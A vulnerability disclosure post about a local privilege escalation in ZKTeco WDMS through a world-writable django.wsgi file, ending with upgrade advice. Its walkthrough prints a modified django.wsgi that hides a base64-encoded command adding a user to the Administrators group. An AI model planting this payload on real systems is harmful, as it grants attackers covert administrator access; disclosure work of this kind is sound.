- Published on
ZKTeco WDMS; Local Privilege Escalation
- Authors
- Name
- MOHAMMED ADEL
Summary
The ZKTeco WDMS software is susceptible to a local privilege escalation vulnerability due to a misconfiguration in the write permissions of the django.wsgi
file. The django.wsgi
file is a key component in the deployment of Django web applications using Apache web server.
What is WSGI
WSGI, or Web Server Gateway Interface, is a specification that defines the interaction between web servers and web applications. In Django, the django.wsgi
file acts as a bridge, enabling communication between the Apache server and the Django application.
Below is a simple diagram showcasing the flow of the WSGI file:
Django.wsgi's Misconfiguration
The misconfiguration in the django.wsgi
file allows all authenticated users on Windows to modify its contents. This file is instrumental in specifying the interface between the Apache server and the Django application, dictating how HTTP requests are handled and responses are generated. However, in the context of this vulnerability, the open access to modify the django.wsgi
file introduces a local privilege escalation vulnerability.
This misconfiguration allows an attacker to manipulate the script within django.wsgi
to inject a malicious payload. This payload could include, but is not limited to:
- A reverse shell for unauthorized remote access.
- A bind shell to create a network service for command execution.
- The creation of a new user account on the local machine.
- The addition of an existing account to the local administrators group.
Execution Time of Django.wsgi
Now that we have established that all authenticated users on Windows have write permissions over the affected file, it is crucial to know that the django.wsgi
file is only executed during certain events, such as:
- The restart of the Apache service
- The restart of the WDMS services
- The reboot of the Windows server itself
Exploitation Walkthrough
- Before proceeding, let's verify that the current user we are working with is not a member of the Administrators group. The screenshot below illustrates this confirmation:
- As outlined in the vulnerability description, the file
django.wsgi
is currently configured to be modifiable by all users on the server. In the following screenshot, you can observe the modification privileges granted to a low-privileged user for the affected file:
The "NT AUTHORITY\Authenticated Users" group is granted the (M) permission level, signifying "Modify" permissions. This comprehensive permission include read, write, execute and delete privileges.
- Following the verification of the file's modifiability, the next step involves crafting a payload to include the current user
low
into the Administrators group. To maintain discretion, we will encode the payload in base64, adding an additional layer of obscurity to prevent easy detection by system administrators:
- Before integrating our malicious payload into the targeted file
django.wsgi
the following displays the original code snippet extracted fromdjango.wsgi
:
import os
import sys
p=os.path.split(os.path.realpath(__file__))[0]
sys.path.append(p)
sys.path.append("%s\\%s"%(p,"zkeco_dlls"))
# Add your Django-releated imports here
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
- Now, let's integrate our malicious payload discreetly into the affected file
django.wsgi
in a manner that avoids detection. Below is the modified content ofdjango.wsgi
where the malicious payload has been inconspicuously embedded:
import os
import sys
p=os.path.split(os.path.realpath(__file__))[0]
sys.path.append(p)
sys.path.append("%s\\%s"%(p,"zkeco_dlls"))
# Add your Django-releated imports here
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")
System_Settings_encoded = "bmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgbG93IC9hZGQK"
System_Settings_decoded = base64.b64decode(System_Settings_encoded).decode('utf-8')
os.system(System_Settings_decoded)
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
- Having successfully embedded our malicious payload into
django.wsgi
the next step involves replacing it with the original file located in the directoryC:\WDMS\django.wsgi
The image below demonstrates the successful replacement of the original file with the manipulated version:
- With the successful replacement of the original
django.wsgi
file with the manipulated version, let's consider potential triggers such as restarting the Apache service, rebooting the machine, or restarting WDMS services. Assuming one or more of these actions has taken place, our payload should have executed, granting us membership in the local administrators group. The following evidence illustrates our inclusion in the local administrators group:
- In the end, the entire exploitation process executed seamlessly, even in the presence of active Windows Virus & Threat Protection. This emphasizes the nuanced nature of this seemingly straightforward vulnerability, showcasing its ability to go unnoticed by resilient security controls.
Mitigation / Fix
If you are using the affected product, it is highly recommended that you upgrade to the latest version, 8.0.5
, as this update includes a fix for the vulnerability.
Reference
- ZKTeco WDMS Software: https://zkteco.eu/products/software/wdms